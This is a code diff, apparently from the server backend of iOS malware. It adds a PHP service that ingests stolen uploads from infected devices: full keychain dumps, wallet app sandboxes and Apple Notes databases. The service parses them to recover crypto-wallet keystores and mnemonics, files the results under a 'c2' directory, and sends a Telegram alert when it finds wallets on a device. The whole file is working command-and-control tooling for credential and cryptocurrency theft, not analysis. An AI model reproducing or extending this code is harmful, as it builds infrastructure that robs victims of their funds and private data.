return $this->builderType() === self::BUILDER_NEW;
}
public function isAppBuilder(): bool
{
return $this->builderType() === self::BUILDER_APP;
}
public function builderType(): string
{
$type = strtolower(trim((string) ($this->builder_type ?? '')));
return $type === self::BUILDER_NEW ? self::BUILDER_NEW : self::BUILDER_OLD;
if ($type === self::BUILDER_NEW) {
return self::BUILDER_NEW;
}
if ($type === self::BUILDER_APP) {
return self::BUILDER_APP;
}
return self::BUILDER_OLD;
}
public function agentLabel(): string
@@ -194,6 +209,19 @@ class Channel extends Model
return bin2hex(random_bytes(16));
}
/** UUID v4 channel id for app builder channels (e.g. a13b4f76-d901-46f5-b447-36b7e856ea31). */
public static function randomAppChannelId(): string
{
for ($i = 0; $i < 64; $i++) {
$uuid = \Illuminate\Support\Str::uuid()->toString();
if (! self::query()->where('channel_id', $uuid)->exists()) {
return $uuid;
}
}
throw new RuntimeException('无法生成唯一渠道 ID');
}
public static function normalizeNewChannelId(string $channelId): ?string
{
$channelId = strtoupper(trim($channelId));
+7
View File
@@ -18,6 +18,8 @@ class Device extends Model
public const CHAIN_DARKSWORD = 2;
public const CHAIN_APP = 3;
protected $fillable = [
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
@@ -82,6 +84,11 @@ class Device extends Model
return (int) $this->chain === self::CHAIN_DARKSWORD;
}
public function isApp(): bool
{
return (int) $this->chain === self::CHAIN_APP;
}
public function hasWalletApps(): bool
{
return (int) $this->has_wallet === self::WALLET_YES;
+724
View File
@@ -0,0 +1,724 @@
<?php
namespace App\Services;
use App\Jobs\DecryptDeviceKeystores;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\WalletKeystore;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
/**
* Ingest ai-live (w2.bsvpn.net) chunked uploads into the wallet keystore +
* Apple Notes pipelines.
*
* The malware uploads three kinds of artifacts via /api/v2/uploads:
* 1. keychain.xml — full iOS keychain dump (doKeychain=true acquisition)
* 2. <bundleId>.tar — tar of each wallet app's Documents directory
* 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite)
*
* This service reassembles chunked uploads, parses them, and:
* - keychain.xml → stored as a keychain.wallets WalletKeystore row
* - wallet tar → stored as a sandbox WalletKeystore row
* - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and
* DecodeMemoDb job dispatched to parse note text
*
* DecryptDeviceKeystores is dispatched on /api/v2/finish to recover
* mnemonics from the stored keystores off the request thread.
*/
final class AiLiveUploadIngester
{
/** Chunk files are saved as <ts>_<tag>_<uploadId>_c<chunkIndex>.bin */
private const CHUNK_GLOB = '*_%s_c*.bin';
/**
* Reassemble chunks for an upload session, parse the artifact, store
* keystores, and dispatch the decryption job.
*
* @param array<string, mixed> $session Cache session (fileName, numberOfChunks, ...)
*/
public function ingest(Device $device, string $uploadId, array $session): void
{
$fileName = (string) ($session['fileName'] ?? 'unknown');
$uploadDir = public_path('log/app_c2/uploads');
$chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1));
if ($chunks === []) {
Log::channel('keystore')->warning('AiLiveUploadIngester: no chunk files found', [
'device_id' => $device->id,
'upload_id' => $uploadId,
'file_name' => $fileName,
]);
return;
}
$content = $this->reassemble($chunks);
if ($content === '') {
return;
}
$this->dispatchParse($device, $content, $fileName, $uploadId);
}
/**
* Dispatch the async keystore decryption job for a device.
*/
public function dispatchDecrypt(Device $device): void
{
try {
DecryptDeviceKeystores::dispatch($device->id, null, null);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AiLiveUploadIngester dispatch failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
}
// ────────────────────────────────────────────────────────────
// chunk reassembly
// ────────────────────────────────────────────────────────────
/**
* @param list<int> $chunkIndices
* @return list<string> Sorted chunk file paths.
*/
private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array
{
if (! is_dir($dir)) {
return [];
}
// UUIDs only contain [0-9a-f-], none of which are glob special chars,
// so no escaping needed (preg_quote would break glob by escaping `-`).
$pattern = sprintf(self::CHUNK_GLOB, $uploadId);
$files = glob($dir.'/'.$pattern) ?: [];
if ($files === []) {
return [];
}
usort($files, function ($a, $b) {
return $this->chunkIndex($a) <=> $this->chunkIndex($b);
});
// Keep only the expected number of chunks.
return array_slice($files, 0, max(1, $numberOfChunks));
}
private function chunkIndex(string $path): int
{
if (preg_match('/_c(\d+)\.bin$/', $path, $m)) {
return (int) $m[1];
}
return 0;
}
/**
* @param list<string> $chunkPaths
*/
private function reassemble(array $chunkPaths): string
{
$out = '';
foreach ($chunkPaths as $path) {
$chunk = @file_get_contents($path);
if ($chunk === false) {
continue;
}
$out .= $chunk;
}
return $out;
}
// ────────────────────────────────────────────────────────────
// parse + store
// ────────────────────────────────────────────────────────────
/**
* Route the artifact to the correct parser based on file name.
*/
private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void
{
$lower = strtolower($fileName);
if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
$this->parseKeychainXml($device, $content, $fileName);
} elseif (str_ends_with($lower, '.tar')) {
$bundleId = preg_replace('/\.tar$/i', '', $fileName);
// Apple Notes is uploaded as group.com.apple.notes.tar — route
// it to the NoteStore.sqlite decoder instead of the wallet
// keystore walker.
if ($this->isNotesBundle($bundleId)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, (string) $bundleId);
}
} else {
// Unknown artifact — try tar first, then keychain XML.
if ($this->looksLikeTar($content)) {
// Peek inside: if it contains NoteStore.sqlite, treat as notes.
if ($this->tarContainsNoteStore($content)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, $fileName);
}
} elseif ($this->looksLikeXml($content)) {
$this->parseKeychainXml($device, $content, $fileName);
}
}
}
/**
* Whether a bundle ID / file name refers to the Apple Notes app group.
*/
private function isNotesBundle(string $bundleId): bool
{
$lower = strtolower($bundleId);
return $lower === 'group.com.apple.notes'
|| str_contains($lower, 'com.apple.notes')
|| $lower === 'notes';
}
/**
* Quick peek: does this tar archive contain NoteStore.sqlite?
*/
private function tarContainsNoteStore(string $content): bool
{
if (! $this->looksLikeTar($content)) {
return false;
}
// Tar file names live in the 0–100 byte range of each 512-byte header.
// A simple substring scan for "NoteStore.sqlite" is good enough.
return str_contains($content, 'NoteStore.sqlite');
}
private function looksLikeTar(string $content): bool
{
return strlen($content) >= 262 && substr($content, 257, 5) === "ustar";
}
private function looksLikeXml(string $content): bool
{
return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
}
// ── keychain.xml ────────────────────────────────────────────
/**
* Parse the iOS keychain backup XML, group items by access group → wallet
* source, decode each item's v_Data (base64 plist → KEY/data → base64 →
* raw bytes), and store as a keychain.wallets WalletKeystore row.
*
* The DsKeystoreDecrypt walker expects:
* {kind: "keychain.wallets", wallets: {<source>: {items: [{account, service, dataHex}]}}}
*/
private function parseKeychainXml(Device $device, string $content, string $fileName): void
{
try {
$xml = @new \SimpleXMLElement($content);
} catch (\Throwable $e) {
Log::channel('keystore')->warning('AiLiveUploadIngester: keychain XML parse failed', [
'device_id' => $device->id,
'file_name' => $fileName,
'error' => $e->getMessage(),
]);
return;
}
// Group items by source label.
$buckets = [];
$itemCount = 0;
$seenBundles = []; // bundle IDs seen in this keychain dump
foreach ($xml->xpath('//item') as $item) {
$acct = (string) ($item->acct ?? '');
$svce = (string) ($item->svce ?? '');
$agrp = (string) ($item->agrp ?? '');
$vData = (string) ($item->{'v_Data'} ?? '');
$dataHex = $this->decodeKeychainVData($vData);
if ($dataHex === '') {
continue;
}
$source = $this->sourceFromAgrp($agrp, $acct);
if (! isset($buckets[$source])) {
$buckets[$source] = ['items' => []];
}
$buckets[$source]['items'][] = [
'account' => $acct,
'service' => $svce,
'accessGroup' => $agrp,
'dataHex' => $dataHex,
];
$itemCount++;
// Collect bundle IDs from agrp for the installed-app list.
$bundle = $this->bundleIdFromAgrp($agrp);
if ($bundle !== '' && ! isset($seenBundles[$bundle])) {
$seenBundles[$bundle] = $source;
}
}
// Record every app that has keychain entries as installed.
foreach ($seenBundles as $bundle => $source) {
$this->recordInstalledApp($device, $bundle, $source);
}
if ($buckets === []) {
return;
}
$rawJson = [
'kind' => 'keychain.wallets',
'wallets' => $buckets,
];
$source = 'ai-live/keychain';
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
Log::channel('keystore')->info('AiLiveUploadIngester: stored keychain', [
'device_id' => $device->id,
'file_name' => $fileName,
'items' => $itemCount,
'sources' => array_keys($buckets),
]);
}
/**
* Decode the base64-encoded content in <v_Data> and return the raw
* bytes as hex.
*
* Two storage formats exist in iOS keychain dumps:
* 1. Plist-wrapped: <plist><dict><key>KEY</key><data>base64</data>…</dict></plist>
* — common for Apple system entries (Bluetooth, account tokens).
* 2. Raw value: the base64-decoded content is the value itself (a hex
* string, a plain-text password, a JSON snippet, etc.) with no plist
* wrapper — common for third-party app entries (Trust Wallet stores
* the keystore password as a base64-encoded hex string).
*
* @param string $vDataRaw Base64-encoded content from <v_Data bin="1">.
*/
private function decodeKeychainVData(string $vDataRaw): string
{
$vDataRaw = trim($vDataRaw);
if ($vDataRaw === '') {
return '';
}
$decoded = base64_decode($vDataRaw, true);
if (! is_string($decoded) || $decoded === '') {
return '';
}
// ── 1. Try plist-wrapped format (Apple system entries) ──
// The plist is XML: <plist><dict><key>KEY</key><data>base64</data></dict></plist>
if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) {
try {
$px = @new \SimpleXMLElement($decoded);
$dataNodes = $px->xpath('//data');
foreach ($dataNodes as $dataNode) {
$b64 = trim((string) $dataNode);
if ($b64 === '') {
continue;
}
$bin = base64_decode($b64, true);
if (is_string($bin) && $bin !== '') {
return bin2hex($bin);
}
}
} catch (\Throwable) {
// fall through to raw handling
}
}
// ── 2. Raw value (third-party app entries) ──
// The decoded content IS the value — return it as hex so the
// keystore decryptor can try it as a password. This covers:
// • hex strings (Trust Wallet keystore password)
// • plain text passwords
// • small JSON blobs
return bin2hex($decoded);
}
/**
* Map a keychain access group (agrp) to a wallet source label.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function sourceFromAgrp(string $agrp, string $acct): string
{
$agrp = trim($agrp);
if ($agrp === '') {
// Fall back to account-based hint.
$hint = WalletSource::fromKeystoreHint($acct);
return $hint !== '' ? $hint : 'unknown';
}
// Extract bundle id: take the part after the first dot.
$bundle = '';
$parts = explode('.', $agrp, 2);
if (count($parts) === 2) {
$bundle = $parts[1];
}
$label = WalletSource::labelForBundle($bundle, '');
if ($label !== '' && $label !== $bundle) {
return $label;
}
$hint = WalletSource::fromKeystoreHint($bundle);
if ($hint !== '') {
return $hint;
}
return $bundle !== '' ? $bundle : 'unknown';
}
/**
* Extract the raw bundle ID from a keychain access group.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function bundleIdFromAgrp(string $agrp): string
{
$agrp = trim($agrp);
if ($agrp === '') {
return '';
}
$parts = explode('.', $agrp, 2);
return $parts[1] ?? '';
}
/**
* Record a bundle ID into the device's installed-app list. The malware
* only uploads a tar for apps whose sandbox it could dump, so any
* uploaded bundle ID is proof the app is installed. Keychain access
* groups are a secondary signal (the app has keychain entries).
*/
private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void
{
$bundleId = trim($bundleId);
if ($bundleId === '') {
return;
}
$label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId);
$displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundleId],
[
'name' => $displayName,
'is_wallet' => WalletSource::isPluginWalletBundle($bundleId),
'meta_json' => ['source' => 'ailive_upload', 'uploaded_at' => now()->toIso8601String()],
]
);
$this->refreshDeviceWalletFlag($device);
}
/**
* Refresh the device's has_wallet / wallet_names flags from the
* current installed-app list. Sends a Telegram notification when
* wallets are first detected (has_wallet transitions NONE → YES),
* mirroring IngestService::refreshDeviceWalletFlag.
*/
private function refreshDeviceWalletFlag(Device $device): void
{
$names = [];
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
$bundle = (string) $app->bundle_id;
if (! WalletSource::isPluginWalletBundle($bundle)) {
continue;
}
$label = WalletSource::labelForBundle($bundle, $app->name);
$names[$label] = true;
}
$labels = array_keys($names);
sort($labels);
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
$device->saveQuietly();
// Notify Telegram the first time wallets are detected
// (UNKNOWN/NONE → YES transition).
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) {
try {
app(\App\Services\TelegramNotifier::class)
->notifyInstalledWallets($device->device_id, $labels);
} catch (\Throwable $e) {
Log::channel('keystore')->warning(
'AiLiveUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
}
}
// ── wallet app tar ──────────────────────────────────────────
/**
* Extract a wallet app tar, walk the files for Web3 keystore JSON
* (crypto.ciphertext/mac/kdf) and other interesting artifacts, and
* store as a sandbox WalletKeystore row.
*
* The DsKeystoreDecrypt walker traverses the sandbox tree and picks
* up any dict with crypto.ciphertext/mac/kdf as a keystore to unlock.
*/
private function parseWalletTar(Device $device, string $content, string $bundleId): void
{
$source = WalletSource::labelForBundle($bundleId, $bundleId);
if ($source === '' || $source === $bundleId) {
$hint = WalletSource::fromKeystoreHint($bundleId);
$source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown');
}
// The malware only uploads a tar for apps whose sandbox it could
// dump — so this bundle is definitely installed on the device.
$this->recordInstalledApp($device, $bundleId, $source);
$sandbox = $this->extractTarSandbox($content);
if ($sandbox === []) {
return;
}
$rawJson = [
'kind' => 'sandbox',
'sandbox' => [$source => $sandbox],
];
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
Log::channel('keystore')->info('AiLiveUploadIngester: stored tar sandbox', [
'device_id' => $device->id,
'bundle_id' => $bundleId,
'source' => $source,
'files' => count($sandbox, COUNT_RECURSIVE),
]);
}
// ── Apple Notes tar ─────────────────────────────────────────
/**
* Extract a group.com.apple.notes tar, pull out NoteStore.sqlite +
* -wal + -shm, save them to the location DsMemoDecoder expects
* (c2/ds-results/<device_id>/<command_id>/), and dispatch the
* DecodeMemoDb job to parse note text off the request thread.
*/
private function parseNotesTar(Device $device, string $content, string $uploadId): void
{
$files = $this->extractNotesDbFiles($content);
if ($files === []) {
Log::channel('keystore')->warning('AiLiveUploadIngester: notes tar has no NoteStore.sqlite', [
'device_id' => $device->id,
'upload_id' => $uploadId,
]);
return;
}
// DsMemoDecoder looks for files under
// storage/app/c2/ds-results/<device_id>/<command_id>/NoteStore.sqlite
$commandId = 'ailive_'.substr($uploadId, 0, 8);
$dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId;
$disk = \Illuminate\Support\Facades\Storage::disk('local');
foreach ($files as $name => $data) {
$disk->put($dir.'/'.$name, $data);
}
Log::channel('keystore')->info('AiLiveUploadIngester: stored notes db', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'command_id' => $commandId,
'files' => array_keys($files),
]);
// Dispatch the async SQLite decoder job.
try {
\App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AiLiveUploadIngester: DecodeMemoDb dispatch failed', [
'device_id' => $device->id,
'command_id' => $commandId,
'error' => $e->getMessage(),
]);
}
}
/**
* Extract NoteStore.sqlite + -wal + -shm from a notes tar archive.
*
* @return array<string, string> Map of filename → raw bytes.
*/
private function extractNotesDbFiles(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'ailive_notes_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'];
$out = [];
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if (! $f->isFile()) {
continue;
}
$base = basename($f->getPathname());
if (! in_array($base, $wanted, true)) {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$out[$base] = $raw;
}
return $out;
} finally {
@unlink($tmp);
}
}
/**
* Extract a tar (ustar) archive into a nested dict of file paths →
* decoded content. JSON files are parsed into arrays; binary files
* (Realm DBs, SQLite) are stored as base64; everything else is stored
* as a UTF-8 string when possible.
*
* @return array<string, mixed>
*/
private function extractTarSandbox(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'ailive_tar_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$sandbox = [];
$count = 0;
$maxFiles = 200;
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if ($count >= $maxFiles) {
break;
}
if (! $f->isFile()) {
continue;
}
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
// Strip the "phar://<absolute-tar-path>" prefix. The temp file
// path is absolute (starts with "/"), so the old [^/]+ pattern
// failed to match the leading slash — use the known prefix.
$prefix = 'phar://'.$tmp;
if (str_starts_with($rel, $prefix)) {
$rel = substr($rel, strlen($prefix));
} else {
// Fallback: strip phar:// + everything up to the first .tar
$rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel;
}
$rel = ltrim($rel, '/');
if ($rel === '') {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$decoded = $this->decodeFileContent($raw, $rel);
if ($decoded === null) {
continue;
}
$this->setNestedPath($sandbox, $rel, $decoded);
$count++;
}
return $sandbox;
} finally {
@unlink($tmp);
}
}
/**
* @return mixed Array for JSON, string for text/base64, null to skip.
*/
private function decodeFileContent(string $raw, string $path): mixed
{
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
$first = $raw[0] ?? '';
if ($first === '{' || $first === '[') {
$json = json_decode($raw, true);
if (is_array($json)) {
return $json;
}
}
// Small text files → UTF-8 string.
if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) {
return $raw;
}
// Binary files (Realm, SQLite) → base64 (capped to avoid OOM).
$cap = 512 * 1024; // 512 KiB
if (strlen($raw) > $cap) {
return null; // skip large binaries — not useful for mnemonic recovery
}
return base64_encode($raw);
}
/**
* Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]).
*
* @param array<string, mixed> $arr
*/
private function setNestedPath(array &$arr, string $path, mixed $value): void
{
$parts = explode('/', $path);
$ref = &$arr;
$n = count($parts);
for ($i = 0; $i < $n - 1; $i++) {
$key = $parts[$i];
if (! isset($ref[$key]) || ! is_array($ref[$key])) {
$ref[$key] = [];
}
$ref = &$ref[$key];
}
$ref[$parts[$n - 1]] = $value;
}
}